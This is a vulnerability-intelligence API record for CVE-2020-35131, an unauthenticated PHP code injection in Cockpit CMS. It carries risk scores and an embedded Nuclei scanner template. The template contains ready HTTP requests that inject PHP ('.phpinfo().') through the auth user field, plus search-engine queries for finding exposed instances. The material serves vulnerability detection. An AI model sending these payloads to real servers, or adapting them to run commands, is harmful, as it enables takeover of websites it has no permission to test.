{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-35131/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-35131/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-35131/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-35131/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-35131/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-35131/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2020-35131"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2020-35131"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.50258,"kev":false,"percentile":0.98912},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-35131.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-35131\n\ninfo:\n  name: Cockpit CMS 0.6.1 - Remote Code Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php, as demonstrated by values in JSON data to the /auth/check or /auth/requestreset URI.\n  impact: |\n    Unauthenticated attackers can inject custom PHP code to achieve remote command execution, leading to complete Cockpit CMS compromise.\n  remediation: |\n    Upgrade to Cockpit CMS version 0.6.1 or later.\n  reference:\n    - https://github.com/agentejo/cockpit/commits/next/lib/MongoLite/Database.php\n    - https://github.com/agentejo/cockpit/releases/tag/0.6.1\n    - https://www.exploit-db.com/exploits/49390\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-35131\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-35131\n    cwe-id: CWE-94\n    epss-score: 0.50258\n    epss-percentile: 0.98912\n    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: agentejo\n    product: cockpit\n    shodan-query: http.html:\"cockpit\"\n    fofa-query: app=\"Cockpit\"\n    max-request: 2\n    verified: true\n  tags: cve,cve2020,rce,cockpit,vkev,vuln\n\nvariables:\n  rand_user: '{{rand_text_alpha(5)}}'\n  rand_password: '{{rand_text_alpha(5)}}'\n\nhttp:\n  - raw:\n      - |\n        POST /auth/check HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json; charset=UTF-8\n        Origin: {{BaseURL}}\n\n        {\"auth\":{\"user\":\"{{rand_user}}'.phpinfo().'\",\"password\":\"{{rand_password}}\"}}\n\n      - |\n        POST /auth/requestreset HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json; charset=UTF-8\n        Origin: {{BaseURL}}\n\n        {\"user\":\"{{rand_user}}'.phpinfo().'\"}\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"cockpit\"\n          - \"PHP Extension\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502210083395e033ce1698ebc3f2c8b36c9d9ac7201710749210549c021811deeb03be7022008ecbf3d99e6b9ad20b34855556e19dcea491787af30c485e62444bd9b7ab846:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2020-35131"}